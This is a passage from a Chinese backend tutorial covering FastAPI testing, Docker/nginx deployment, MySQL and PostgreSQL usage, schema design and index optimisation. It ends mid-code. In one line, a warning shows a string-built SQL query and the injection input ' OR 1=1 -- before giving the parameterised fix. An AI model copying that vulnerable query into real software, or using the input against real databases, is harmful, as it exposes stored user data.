test_engine = create_async_engine(TEST_DATABASE_URL)
TestSessionLocal = sessionmaker(test_engine, class_=AsyncSession, expire_on_commit=False)
# Fixture:创建测试数据库表
@pytest.fixture(scope="session", autouse=True)
async def setup_database():
async with test_engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
yield
async with test_engine.begin() as conn:
await conn.run_sync(Base.metadata.drop_all)
# Fixture:覆盖数据库依赖
@pytest.fixture(autouse=True)
async def override_db():
async def get_test_db():
async with TestSessionLocal() as session:
try:
yield session
await session.commit()
except Exception:
await session.rollback()
raise
app.dependency_overrides[get_db] = get_test_db
yield
app.dependency_overrides.clear()
# Fixture:异步测试客户端
@pytest.fixture
async def client():
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as ac:
yield ac
# 测试用例
@pytest.mark.asyncio
async def test_register_user(client: AsyncClient):
response = await client.post("/auth/register", json={
"username": "testuser",
"email": "test@example.com",
"password": "securepassword123",
})
assert response.status_code == 201
data = response.json()
assert data["username"] == "testuser"
assert "password" not in data # 响应中不应包含密码
@pytest.mark.asyncio
async def test_register_duplicate_user(client: AsyncClient):
# 第一次注册
await client.post("/auth/register", json={
"username": "dupuser",
"email": "dup@example.com",
"password": "password123",
})
# 第二次注册同名用户
response = await client.post("/auth/register", json={
"username": "dupuser",
"email": "dup2@example.com",
"password": "password123",
})
assert response.status_code == 400
@pytest.mark.asyncio
async def test_login_and_get_me(client: AsyncClient):
# 注册
await client.post("/auth/register", json={
"username": "loginuser",
"email": "login@example.com",
"password": "password123",
})
# 登录
login_resp = await client.post("/auth/login", data={
"username": "loginuser",
"password": "password123",
})
assert login_resp.status_code == 200
token = login_resp.json()["access_token"]
# 获取用户信息(带 Token)
me_resp = await client.get("/auth/me", headers={
"Authorization": f"Bearer {token}"
})
assert me_resp.status_code == 200
assert me_resp.json()["username"] == "loginuser"
# tests/test_articles.py
import pytest
from unittest.mock import AsyncMock, patch
from app.dependencies import get_current_user
from app.models.user import User
@pytest.fixture
def mock_user():
"""模拟已登录用户"""
return User(id=1, username="mockuser", email="mock@example.com", role="user")
@pytest.fixture
async def authenticated_client(client, mock_user):
"""带认证的测试客户端"""
app.dependency_overrides[get_current_user] = lambda: mock_user
yield client
app.dependency_overrides.pop(get_current_user, None)
@pytest.mark.asyncio
async def test_create_article(authenticated_client):
response = await authenticated_client.post("/articles/", json={
"title": "测试文章",
"content": "这是测试内容",
})
assert response.status_code == 201
assert response.json()["title"] == "测试文章"
@pytest.mark.asyncio
async def test_unauthenticated_cannot_create(client):
"""未认证用户不能创建文章"""
response = await client.post("/articles/", json={
"title": "未认证的文章",
"content": "不应该成功",
})
assert response.status_code == 401
# 安装:pip install pytest-cov
# 运行测试并生成覆盖率报告
# pytest --cov=app --cov-report=html --cov-report=term-missing
# 输出示例:
# ----------- coverage: platform linux -----------
# Name Stmts Miss Cover Missing
# app/routers/users.py 45 5 89% 23-27
# app/services/user_service.py 60 8 87% 45-52
# app/dependencies.py 20 2 90% 15-16
# TOTAL 500 50 90%
# pytest.ini 配置
# [pytest]
# asyncio_mode = auto
# testpaths = tests
# python_files = test_*.py
① 单元测试(70%)——测试 Service 层的业务逻辑,不依赖数据库和网络。② 集成测试(20%)——测试 API 接口,使用测试数据库。③ 端到端测试(10%)——测试完整流程(注册→登录→操作→查询)。不要追求 100% 覆盖率——80% 以上就很好了,重点测试核心业务逻辑。
① 每个测试独立——不依赖其他测试的执行顺序。② 测试后清理数据——用事务回滚或清空表。③ 不要测试框架本身——FastAPI 自己的路由和校验不需要你测。④ Mock 外部服务——邮件、短信、第三方 API 用 Mock 替代。⑤ CI 中必须跑测试——每次 PR 合并前自动运行。
开发环境跑通只是第一步,真正上线需要考虑性能调优、容器化、健康检查、监控告警。
# 单 Worker(开发环境)
uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload
# 多 Worker(生产环境,推荐用 Gunicorn 管理)
# pip install gunicorn uvicorn
gunicorn app.main:app \
--workers 4 \
--worker-class uvicorn.workers.UvicornWorker \
--bind 0.0.0.0:8000 \
--timeout 120 \
--access-logfile - \
--error-logfile -
# Worker 数量推荐:CPU 核心数 * 2 + 1
# 4 核 CPU → 9 个 Worker
# Dockerfile
FROM python:3.12-slim
WORKDIR /app
# 安装依赖(利用 Docker 缓存层)
COPY pyproject.toml poetry.lock ./
RUN pip install poetry && poetry config virtualenvs.create false && \
poetry install --no-dev --no-interaction
# 复制代码
COPY . .
# 暴露端口
EXPOSE 8000
# 启动命令
CMD ["gunicorn", "app.main:app", \
"--workers", "4", \
"--worker-class", "uvicorn.workers.UvicornWorker", \
"--bind", "0.0.0.0:8000", \
"--timeout", "120"]
# docker-compose.yml
version: "3.8"
services:
api:
build: .
ports:
- "8000:8000"
env_file:
- .env
environment:
- DATABASE_URL=postgresql+asyncpg://user:pass@db:5432/mydb
depends_on:
db:
condition: service_healthy
redis:
condition: service_started
restart: unless-stopped
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
interval: 30s
timeout: 10s
retries: 3
db:
image: postgres:16-alpine
volumes:
- postgres_data:/var/lib/postgresql/data
environment:
POSTGRES_USER: user
POSTGRES_PASSWORD: pass
POSTGRES_DB: mydb
healthcheck:
test: ["CMD-SHELL", "pg_isready -U user -d mydb"]
interval: 10s
timeout: 5s
retries: 5
redis:
image: redis:7-alpine
volumes:
- redis_data:/data
nginx:
image: nginx:alpine
ports:
- "80:80"
- "443:443"
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./ssl:/etc/nginx/ssl
depends_on:
- api
volumes:
postgres_data:
redis_data:
# nginx.conf
upstream api_backend {
server api:8000;
}
server {
listen 80;
server_name yourdomain.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
server_name yourdomain.com;
ssl_certificate /etc/nginx/ssl/fullchain.pem;
ssl_certificate_key /etc/nginx/ssl/privkey.pem;
# 静态文件由 Nginx 直接服务
location /static/ {
alias /app/static/;
expires 30d;
}
# API 请求代理到 FastAPI
location / {
proxy_pass http://api_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# WebSocket 支持
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
# 超时设置
proxy_connect_timeout 10s;
proxy_read_timeout 120s;
proxy_send_timeout 120s;
}
}
# app/routers/health.py
from fastapi import APIRouter, Depends
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import text
from app.database import get_db
import redis.asyncio as redis
from app.config import get_settings
router = APIRouter()
settings = get_settings()
@router.get("/health")
async def health_check():
"""存活探针:进程是否在运行"""
return {"status": "ok"}
@router.get("/ready")
async def readiness_check(db: AsyncSession = Depends(get_db)):
"""就绪探针:是否可以接受请求"""
checks = {}
# 检查数据库
try:
await db.execute(text("SELECT 1"))
checks["database"] = "ok"
except Exception as e:
checks["database"] = f"error: {str(e)}"
# 检查 Redis
try:
r = redis.from_url(settings.REDIS_URL)
await r.ping()
checks["redis"] = "ok"
await r.close()
except Exception as e:
checks["redis"] = f"error: {str(e)}"
# 判断整体状态
all_ok = all(v == "ok" for v in checks.values())
return {
"status": "ready" if all_ok else "not_ready",
"checks": checks,
}
| 类别 | 检查项 | 说明 |
|---|---|---|
| 安全 | DEBUG=False | 生产环境关闭调试模式 |
| 安全 | SECRET_KEY 随机生成 | 用 openssl rand -hex 32 生成 |
| 安全 | HTTPS 强制 | HTTP 301 重定向到 HTTPS |
| 安全 | CORS 白名单 | 只允许前端域名 |
| 性能 | 多 Worker | Gunicorn + Uvicorn,Worker 数 = CPU*2+1 |
| 性能 | GZip 压缩 | 减少传输体积 |
| 性能 | 连接池配置 | pool_size=20, max_overflow=10 |
| 运维 | 健康检查 | /health(存活)、/ready(就绪) |
| 运维 | 日志结构化 | JSON 格式,方便 ELK 收集 |
| 运维 | 优雅关闭 | 收到 SIGTERM 后等待请求处理完再退出 |
① 用 slim 基础镜像——python:3.12-slim 比 python:3.12 小 60%。② 利用缓存层——先复制依赖文件,安装依赖,再复制代码。③ 多阶段构建——构建阶段和运行阶段分离。④ .dockerignore——排除不需要的文件(.git、__pycache__、tests)。⑤ 不要用 latest 栈——固定版本号。
当容器收到 SIGTERM 信号时(如 docker stop),应该:① 停止接受新请求。② 等待正在处理的请求完成(超时后强制终止)。③ 关闭数据库连接、Redis 连接。Gunicorn 默认处理优雅关闭,FastAPI 的 lifespan 也会在关闭时执行清理代码。确保 Docker 的 stop_grace_period 大于 Gunicorn 的 timeout。
数据库是后端的"记忆"——用户信息、订单数据、文章内容全存在数据库里。MySQL 和 PostgreSQL 是最流行的两种关系型数据库。
| 维度 | MySQL | PostgreSQL |
|---|---|---|
| 定位 | 简单、快速、可靠 | 功能丰富、标准兼容 |
| JSON 支持 | 基础支持 | 强大(JSONB 索引) |
| 性能 | 读密集场景优秀 | 复杂查询更优 |
| 生态 | 最流行,资料最多 | 增长最快,云原生首选 |
| 推荐 | 中小型项目、读多写少 | 复杂业务、JSON 数据、新项目 |
-- 创建数据库和表
CREATE DATABASE mydb CHARACTER SET utf8mb4;
USE mydb;
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL UNIQUE,
email VARCHAR(100) NOT NULL,
age INT DEFAULT 0,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
INDEX idx_email (email)
);
-- CRUD
INSERT INTO users (username, email, age) VALUES ('张三', 'zhangsan@example.com', 25);
SELECT * FROM users WHERE age > 18 ORDER BY created_at DESC LIMIT 10;
UPDATE users SET age = 26 WHERE username = '张三';
DELETE FROM users WHERE id = 1;
-- 聚合
SELECT COUNT(*) as total, AVG(age) as avg_age FROM users;
SELECT age, COUNT(*) as cnt FROM users GROUP BY age HAVING cnt > 5;
# MySQL — pymysql
import pymysql
conn = pymysql.connect(
host='localhost', port=3306,
user='root', password='password',
database='mydb', charset='utf8mb4'
)
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE age > %s", (18,))
rows = cursor.fetchall()
conn.close()
# PostgreSQL — psycopg2
import psycopg2
conn = psycopg2.connect(
host='localhost', port=5432,
user='postgres', password='password',
dbname='mydb'
)
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE age > %s", (18,))
rows = cursor.fetchall()
conn.close()
ORM(如 SQLAlchemy、Django ORM)帮你把 Python 代码翻译成 SQL。你写 User.query.filter(User.age > 18),ORM 自动帮你生成 SELECT * FROM users WHERE age > 18。但理解 SQL 原理对排查性能问题至关重要。
-- INNER JOIN:只返回两表都匹配的行
SELECT u.username, a.title
FROM users u
INNER JOIN articles a ON u.id = a.author_id;
-- LEFT JOIN:返回左表所有行,右表不匹配则为 NULL
SELECT u.username, COUNT(a.id) as article_count
FROM users u
LEFT JOIN articles a ON u.id = a.author_id
GROUP BY u.id, u.username;
-- 多表 JOIN
SELECT u.username, a.title, c.name as category
FROM users u
INNER JOIN articles a ON u.id = a.author_id
INNER JOIN categories c ON a.category_id = c.id
WHERE a.status = 'published'
ORDER BY a.created_at DESC
LIMIT 10;
-- 子查询
-- 查询有文章的用户
SELECT * FROM users WHERE id IN (SELECT DISTINCT author_id FROM articles);
-- 查询每个用户的最新文章
SELECT u.username, a.title, a.created_at
FROM users u
INNER JOIN articles a ON u.id = a.author_id
WHERE a.created_at = (
SELECT MAX(created_at) FROM articles WHERE author_id = u.id
);
# InnoDB 是 MySQL 的默认存储引擎,理解它的架构对性能优化至关重要
# ┌─────────────────────────────────────────────────────────────┐
# │ InnoDB 内存结构 │
# ├─────────────────────────────────────────────────────────────┤
# │ Buffer Pool(缓冲池) │
# │ - 缓存数据页和索引页(减少磁盘 IO) │
# │ - 大小:innodb_buffer_pool_size(通常设为物理内存的 70-80%) │
# │ - 脏页:修改后的数据页,需要刷盘 │
# │ │
# │ Change Buffer(变更缓冲) │
# │ - 缓存非唯一索引的修改操作 │
# │ - 合并写入,减少随机 IO │
# │ │
# │ Log Buffer(日志缓冲) │
# │ - 缓存 Redo Log,定期刷盘 │
# └─────────────────────────────────────────────────────────────┘
# ┌─────────────────────────────────────────────────────────────┐
# │ InnoDB 磁盘结构 │
# ├─────────────────────────────────────────────────────────────┤
# │ Redo Log(重做日志) │
# │ - 记录数据页的物理修改(保证持久性) │
# │ - 循环写入,固定大小 │
# │ - 崩溃恢复时重放 Redo Log │
# │ │
# │ Undo Log(回滚日志) │
# │ - 记录数据修改前的值(用于回滚和 MVCC) │
# │ - 事务回滚时恢复数据 │
# │ - 实现多版本并发控制(MVCC) │
# │ │
# │ Binlog(二进制日志)—— MySQL 特有 │
# │ - 记录所有数据变更(用于主从复制和数据恢复) │
# │ - 三种格式:STATEMENT/ROW/MIXED │
# │ - Redo Log 保证 crash-safe,Binlog 保证主从同步 │
# └─────────────────────────────────────────────────────────────┘
# Buffer Pool 工作流程:
# 1. 读取数据:先查 Buffer Pool → 命中则直接返回(内存读)
# 2. 未命中:从磁盘读取数据页 → 放入 Buffer Pool → 返回
# 3. 修改数据:先修改 Buffer Pool 中的页(脏页)→ 异步刷盘
# 4. 脏页刷盘:Checkpoint 机制,定期将脏页写入磁盘
# 关键参数:
# innodb_buffer_pool_size = 8G # Buffer Pool 大小(物理内存的 70-80%)
# innodb_log_file_size = 2G # Redo Log 大小
# innodb_flush_log_at_trx_commit = 1 # 每次提交都刷 Redo Log(最安全)
# innodb_flush_method = O_DIRECT # 绕过 OS 缓存,直接写磁盘
# 读写分离:主库写,从库读
# ┌─────────┐ 写操作 ┌─────────┐
# │ 应用 │ ──────────→ │ 主库 │
# └─────────┘ └─────────┘
# │ │
# │ 读操作 │ Binlog 复制
# ↓ ↓
# ┌─────────┐ ┌─────────┐
# │ 从库 │ ←─────────── │ 从库 │
# └─────────┘ └─────────┘
# SQLAlchemy 读写分离
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
# 主库(写)
write_engine = create_engine('postgresql://user:pass@master:5432/mydb')
WriteSession = sessionmaker(bind=write_engine)
# 从库(读)
read_engine = create_engine('postgresql://user:pass@slave:5432/mydb')
ReadSession = sessionmaker(bind=read_engine)
# 自定义路由策略
class RoutingSession:
def __init__(self):
self._write_session = WriteSession()
self._read_session = ReadSession()
def get_session(self, is_write=False):
if is_write:
return self._write_session
return self._read_session
# 使用示例
def create_article(data):
session = WriteSession() # 写操作用主库
article = Article(**data)
session.add(article)
session.commit()
return article
def get_articles():
session = ReadSession() # 读操作用从库
return session.query(Article).all()
# Django 读写分离(DATABASES 配置)
DATABASES = {
'default': { # 主库(写)
'ENGINE': 'django.db.backends.postgresql',
'HOST': 'master-db',
'NAME': 'mydb',
},
'replica': { # 从库(读)
'ENGINE': 'django.db.backends.postgresql',
'HOST': 'slave-db',
'NAME': 'mydb',
},
}
# 数据库路由
class PrimaryReplicaRouter:
def db_for_read(self, model, **hints):
return 'replica'
def db_for_write(self, model, **hints):
return 'default'
# SQLAlchemy 连接池
from sqlalchemy import create_engine
from sqlalchemy.pool import QueuePool
engine = create_engine(
'postgresql://user:pass@localhost/mydb',
poolclass=QueuePool,
pool_size=20, # 连接池大小
max_overflow=10, # 最大溢出连接
pool_timeout=30, # 获取连接超时
pool_recycle=3600, # 连接回收时间(防超时断开)
pool_pre_ping=True, # 使用前检查连接是否有效
)
# 连接池监控
from sqlalchemy import event
@event.listens_for(engine, "checkout")
def on_checkout(dbapi_conn, connection_rec, connection_proxy):
"""从连接池获取连接时触发"""
pass
@event.listens_for(engine, "checkin")
def on_checkin(dbapi_conn, connection_rec):
"""归还连接到连接池时触发"""
pass
# 连接池状态
print(f"连接池大小: {engine.pool.size()}")
print(f"已签出连接: {engine.pool.checkedout()}")
print(f"空闲连接: {engine.pool.checkedin()}")
# PostgreSQL 安装(Ubuntu)
sudo apt install postgresql postgresql-contrib
sudo systemctl start postgresql
# 创建数据库和用户
sudo -u postgres psql
CREATE DATABASE mydb;
CREATE USER myuser WITH PASSWORD 'mypassword';
GRANT ALL PRIVILEGES ON DATABASE mydb TO myuser;
\q
# MySQL 安装(Ubuntu)
sudo apt install mysql-server
sudo systemctl start mysql
sudo mysql_secure_installation
# 创建数据库和用户
mysql -u root -p
CREATE DATABASE mydb CHARACTER SET utf8mb4;
CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypassword';
GRANT ALL ON mydb.* TO 'myuser'@'localhost';
FLUSH PRIVILEGES;
cursor.execute(f"SELECT * FROM users WHERE name = '{name}'") 是 SQL 注入漏洞!用户输入 ' OR 1=1 -- 就能查出所有数据。必须用参数化查询:cursor.execute("SELECT * FROM users WHERE name = %s", (name,))。
大多数 Web 项目两者都够用。选 MySQL:团队熟悉、简单场景、读多写少。选 PostgreSQL:复杂查询、JSON 数据、地理数据、全文搜索、需要高级特性。新项目推荐 PostgreSQL——功能更强,开源社区更活跃。
好的数据库设计是一切的基础——设计不好,后面写再多代码都是在"补窟窿"。
| 场景 | 推荐类型 | 说明 |
|---|---|---|
| 主键 | BIGINT AUTO_INCREMENT | INT 够用但 BIGINT 更安全 |
| 用户名 | VARCHAR(50) | 不要用 CHAR(会填充空格) |
| 密码哈希 | VARCHAR(128) | bcrypt 哈希固定 60 字符 |
| 邮箱 | VARCHAR(100) | 加 UNIQUE 索引 |
| 手机号 | VARCHAR(20) | 不要用 INT(前导零会丢失) |
| 金额 | DECIMAL(10,2) | 绝对不要用 FLOAT(精度丢失!) |
| 大段文本 | TEXT | 文章内容、评论 |
| 时间 | DATETIME | 用 UTC 时间存储 |
| JSON 数据 | JSON / JSONB | 灵活的键值对 |
| 是否删除 | TINYINT(1) DEFAULT 0 | 软删除标记 |
-- 每张表都应该有这些字段
CREATE TABLE articles (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
title VARCHAR(200) NOT NULL,
content TEXT,
-- 审计字段
created_at DATETIME DEFAULT CURRENT_TIMESTAMP, -- 创建时间
updated_at DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, -- 更新时间
created_by BIGINT, -- 创建人
updated_by BIGINT, -- 更新人
is_deleted TINYINT(1) DEFAULT 0, -- 软删除标记
deleted_at DATETIME, -- 删除时间
deleted_by BIGINT -- 删除人
);
-- 一对一(1:1)—— 用户扩展信息
-- 场景:核心表放常用字段,扩展表放低频字段,减少查询开销
CREATE TABLE users (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
email VARCHAR(100) UNIQUE NOT NULL
);
CREATE TABLE user_profiles (
user_id BIGINT PRIMARY KEY, -- 既是主键又是外键
bio TEXT,
avatar VARCHAR(500),
address VARCHAR(200),
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);
-- 一对多(1:N)—— 最常见的关系
-- 场景:用户有多个文章,文章属于一个用户
CREATE TABLE articles (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
title VARCHAR(200) NOT NULL,
author_id BIGINT NOT NULL, -- 外键指向"一"的一方
FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE
);
-- 查询某用户的所有文章:SELECT * FROM articles WHERE author_id = 123;
-- 多对多(M:N)—— 需要中间表
-- 场景:文章和标签,一篇文章多个标签,一个标签对应多篇文章
CREATE TABLE tags (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50) UNIQUE NOT NULL
);
CREATE TABLE article_tags (
article_id BIGINT NOT NULL,
tag_id BIGINT NOT NULL,
PRIMARY KEY (article_id, tag_id), -- 联合主键防重复
FOREIGN KEY (article_id) REFERENCES articles(id) ON DELETE CASCADE,
FOREIGN KEY (tag_id) REFERENCES tags(id) ON DELETE CASCADE
);
-- 查询文章的所有标签:
-- SELECT t.* FROM tags t JOIN article_tags at ON t.id = at.tag_id WHERE at.article_id = 1;
-- 查询标签下的所有文章:
-- SELECT a.* FROM articles a JOIN article_tags at ON a.id = at.article_id WHERE at.tag_id = 5;
-- 索引设计口诀:查询什么,索引什么
-- 1. WHERE 条件字段必须加索引
CREATE INDEX idx_articles_author ON articles(author_id);
CREATE INDEX idx_articles_status ON articles(status);
-- 2. ORDER BY 字段加索引(避免 filesort)
CREATE INDEX idx_articles_created ON articles(created_at);
-- 3. 联合索引——按查询频率排序
-- 常见查询:WHERE status=1 AND category_id=3 ORDER BY created_at
CREATE INDEX idx_articles_status_cat_created ON articles(status, category_id, created_at);
-- 4. 覆盖索引——索引包含查询所需的所有字段
-- 查询只需要 title 和 status,索引包含这两列就不用回表
CREATE INDEX idx_articles_covering ON articles(status, title);
-- 5. 前缀索引——长字符串只索引前 N 个字符
CREATE INDEX idx_users_email_prefix ON users(email(10));
-- ⚠️ 不要加索引的场景:
-- 1. 数据量小的表(<1000 行)全表扫描更快
-- 2. 频繁更新的列(索引维护成本高)
-- 3. 区分度低的列(如 gender 只有 M/F)
-- 范式化设计:查询需要 JOIN 多表
-- SELECT a.title, u.username, c.name FROM articles a
-- JOIN users u ON a.author_id = u.id
-- JOIN categories c ON a.category_id = c.id;
-- 反范式化:冗余字段,减少 JOIN
CREATE TABLE articles (
id BIGINT PRIMARY KEY AUTO_INCREMENT,
title VARCHAR(200) NOT NULL,
author_id BIGINT NOT NULL,
author_name VARCHAR(50), -- 冗余!避免 JOIN users 表
category_id BIGINT,
category_name VARCHAR(50), -- 冗余!避免 JOIN categories 表
comment_count INT DEFAULT 0, -- 冗余!避免 COUNT 查询
last_comment_at DATETIME -- 冗余!避免排序查询
);
-- ⚠️ 反范式化的代价:数据一致性维护
-- 更新用户名时,需要同时更新 articles 表的 author_name
-- 方案1:应用层同步更新(简单但可能遗漏)
-- 方案2:数据库触发器(可靠但增加复杂度)
-- 方案3:消息队列异步更新(最终一致性)
硬删除(DELETE)数据就没了。软删除只标记 is_deleted=1,数据还在。90% 的场景应该用软删除——用户误删可以恢复,数据可以审计。只在数据量极大(如日志表)时才用硬删除。注意:软删除的表要加联合索引 (is_deleted, xxx),否则查询时索引失效。
0.1 + 0.2 = 0.30000000000000004——这是浮点数的精度问题。金额用 DECIMAL(10,2) 存储精确值。或者用"分"为单位存 INT(999 表示 9.99 元)。支付宝和微信支付的 API 都是以"分"为单位。
① 每张表是否有主键(推荐 BIGINT 自增)?② 每张表是否有审计字段(created_at、updated_at)?③ 外键字段是否加了索引?④ 金额是否用 DECIMAL?⑤ 是否有软删除字段?⑥ 字符串长度是否合理(不要全用 VARCHAR(255))?⑦ 是否有枚举值用 TINYINT 而非 VARCHAR?
索引是数据库性能优化最重要的手段。没有索引的查询就像翻字典不看目录——从第一页翻到最后一页。
数据库表就像一本电话簿。没有索引时,找"张三"要从第一页翻到最后一页(全表扫描 O(n))。有了索引,就像电话簿前面的姓氏索引——先找"Z",再找"张",直接定位到页码(O(log n))。
为什么索引能加速查询?因为 InnoDB 使用 B+ 树作为索引结构,将 O(n) 的全表扫描变成 O(log n) 的树搜索。
# B+ 树结构示意(3 层能存储约 2000 万行数据)
# 根节点(常驻内存)
# [30 | 60]
# / | \
# [10|20] [30|40|50] [60|70|80] ← 非叶子节点(只存键值)
# | | |
# 叶子节点(存储实际数据指针,叶子节点之间用链表连接)
# [1→行1] [2→行2] ... [30→行30] ← 双向链表,支持范围查询
# 为什么用 B+ 树而不是 B 树?
# 1. 叶子节点用链表连接 → 范围查询高效(WHERE id BETWEEN 10 AND 100)
# 2. 非叶子节点只存键值 → 每个节点能存更多键 → 树更矮 → IO 更少
# 3. 所有数据都在叶子节点 → 查询稳定(每次查询都要走到叶子)
# 为什么用 B+ 树而不是哈希?
# 哈希:等值查询 O(1),但不支持范围查询、排序、模糊查询
# B+ 树:等值查询 O(log n),支持范围查询、排序、前缀匹配
# 一个 3 层 B+ 树能存多少数据?
# 假设:每个节点 16KB(InnoDB 默认页大小),主键 BIGINT(8字节),指针 6字节
# 每个节点能存:16384 / (8+6) ≈ 1170 个键
# 3 层:1170 × 1170 × 16 ≈ 2190 万行
# 所以:千万级表,只需要 3 次 IO 就能找到数据!
# 聚簇索引 vs 二级索引
# 聚簇索引(主键索引):叶子节点存储完整行数据
# 二级索引(普通索引):叶子节点存储主键值 → 需要"回表"查主键索引获取完整数据
# 示例:SELECT * FROM users WHERE email = 'test@example.com'
# 1. 在 email 索引(二级索引)中找到 email='test@example.com' → 得到 id=5
# 2. 回表:在主键索引中找到 id=5 → 得到完整行数据
# 3. 如果是 SELECT id FROM users WHERE email = '...',只需查二级索引,无需回表(覆盖索引)
EXPLAIN SELECT * FROM users WHERE email = 'test@example.com';
-- 关注这些列:
-- type: 扫描方式(好→差):const > eq_ref > ref > range > index > ALL
-- key: 实际使用的索引(NULL 表示没用索引!)
-- rows: 预估扫描行数(越小越好)
-- Extra: Using index = 覆盖索引 ✅,Using filesort = 额外排序 ⚠️
-- ❌ 对索引列使用函数
SELECT * FROM users WHERE YEAR(created_at) = 2024; -- 索引失效
SELECT * FROM users WHERE created_at >= '2024-01-01'; -- 索引有效 ✅
-- ❌ 隐式类型转换
SELECT * FROM users WHERE phone = 13800138000; -- phone 是 VARCHAR,传 INT
SELECT * FROM users WHERE phone = '13800138000'; -- 索引有效 ✅
-- ❌ LIKE 以 % 开头
SELECT * FROM users WHERE name LIKE '%张'; -- 索引失效
SELECT * FROM users WHERE name LIKE '张%'; -- 索引有效 ✅
-- ❌ 联合索引不满足最左前缀
-- 索引 (a, b, c)
SELECT * FROM t WHERE b = 1 AND c = 2; -- 跳过了 a,索引失效
SELECT * FROM t WHERE a = 1 AND c = 2; -- 跳过了 b,只能用到 a ✅
SELECT * FROM t WHERE a = 1 AND b = 2 AND c = 3; -- 完整命中 ✅✅✅
-- ❌ OR 条件中有无索引列
SELECT * FROM users WHERE indexed_col = 1 OR no_index_col = 2; -- 整体失效
-- ❌ 不等于(!= 或 <>)
SELECT * FROM users WHERE status != 0; -- 索引可能失效
-- 改写:SELECT * FROM users WHERE status IN (1, 2, 3); -- 有效 ✅
-- 联合索引 (a, b, c) 的最左前缀匹配规则
-- 索引可以加速的查询(按顺序匹配):
-- ✅ WHERE a = 1
-- ✅ WHERE a = 1 AND b = 2
-- ✅ WHERE a = 1 AND b = 2 AND c = 3
-- ✅ WHERE a = 1 ORDER BY b -- a 等值 + b 排序
-- ❌ WHERE b = 2 -- 跳过 a
-- ❌ WHERE b = 2 AND c = 3 -- 跳过 a
-- ❌ WHERE a = 1 AND c = 3 -- 跳过 b(只能用到 a)
-- 索引列顺序设计原则:
-- 1. 等值查询的列放前面
-- 2. 范围查询的列放后面
-- 3. 排序字段放最后
-- 例:WHERE status=1 AND views > 100 ORDER BY created_at
-- 最佳索引:(status, views, created_at) 或 (status, created_at)
-- 用 EXPLAIN 验证索引使用情况
EXPLAIN SELECT * FROM articles WHERE status = 1 AND views > 100 ORDER BY created_at;
-- 关注 key_len:值越大说明用到的索引列越多
-- 覆盖索引:查询所需的所有字段都在索引中,不需要回表
-- 查询只需要 title 和 status
CREATE INDEX idx_covering ON articles(status, title);
EXPLAIN SELECT title, status FROM articles WHERE status = 1;
-- Extra 列显示 "Using index" ✅ 说明命中覆盖索引
-- 对比:没有覆盖索引时
-- 1. 在索引树中找到 status=1 的记录
-- 2. 拿到主键 id
-- 3. 回到主键索引树(聚簇索引)取完整行数据
-- 4. 从行数据中取出 title 字段
-- 多了一次"回表"操作,随机 IO 增加
-- 覆盖索引的代价:索引体积增大
-- 只在高频查询上使用覆盖索引,不要滥用
EXPLAIN SELECT * FROM articles WHERE status = 1 ORDER BY created_at DESC LIMIT 10;
-- 重点关注字段:
-- id: 查询序号(子查询会有多个 id)
-- select_type: SIMPLE(简单查询)/ SUBQUERY(子查询)/ DERIVED(派生表)
-- type: 访问类型,从好到差:
-- system > const > eq_ref > ref > range > index > ALL
-- const: 主键或唯一索引等值查询(最多一行)
-- ref: 普通索引等值查询
-- range: 索引范围查询(BETWEEN、>、<)
-- ALL: 全表扫描 ⚠️ 通常需要优化!
-- key: 实际使用的索引名(NULL = 未使用索引)
-- key_len: 使用的索引长度(越大 = 用到的索引列越多)
-- rows: 预估扫描行数(越小越好)
-- Extra:
-- Using index: 覆盖索引 ✅
-- Using where: 在服务层过滤(索引后仍需过滤)
-- Using filesort: 额外排序 ⚠️(可能需要优化 ORDER BY)
-- Using temporary: 使用临时表 ⚠️(可能需要优化 GROUP BY)
-- 用 EXPLAIN FORMAT=JSON 获取更详细的信息
EXPLAIN FORMAT=JSON SELECT * FROM articles WHERE status = 1;
-- 关注 cost_info 中的 read_cost 和 eval_cost
-- Step 1: 开启慢查询日志
SET GLOBAL slow_query_log = ON;
SET GLOBAL long_query_time = 1; -- 记录超过 1 秒的查询
SET GLOBAL log_queries_not_using_indexes = ON; -- 同时记录未使用索引的查询
-- Step 2: 分析慢查询日志
-- 用 mysqldumpslow 或 pt-query-digest
-- $ pt-query-digest /var/log/mysql/slow.log
-- Step 3: 对慢查询用 EXPLAIN 分析执行计划
-- Step 4: 优化策略
-- ① 添加合适的索引
-- ② 改写 SQL(避免子查询,用 JOIN 替代)
-- ③ 减少返回字段(不要 SELECT *)
-- ④ 分页优化(深分页用游标:WHERE id > last_id LIMIT 20)
-- ⑤ 拆分大查询(分批处理)
-- 深分页优化示例
-- ❌ 慢:SELECT * FROM articles ORDER BY id LIMIT 1000000, 20;
-- ✅ 快:SELECT * FROM articles WHERE id > 1000000 ORDER BY id LIMIT 20;
-- Python 慢查询监控
import logging
from sqlalchemy import event
@event.listens_for(Engine, "before_cursor_execute")
def receive_before_cursor_execute(conn, cursor, statement, parameters, context, executemany):
conn.info.setdefault('query_start_time', []).append(time.time())
@event.listens_for(Engine, "after_cursor_execute")
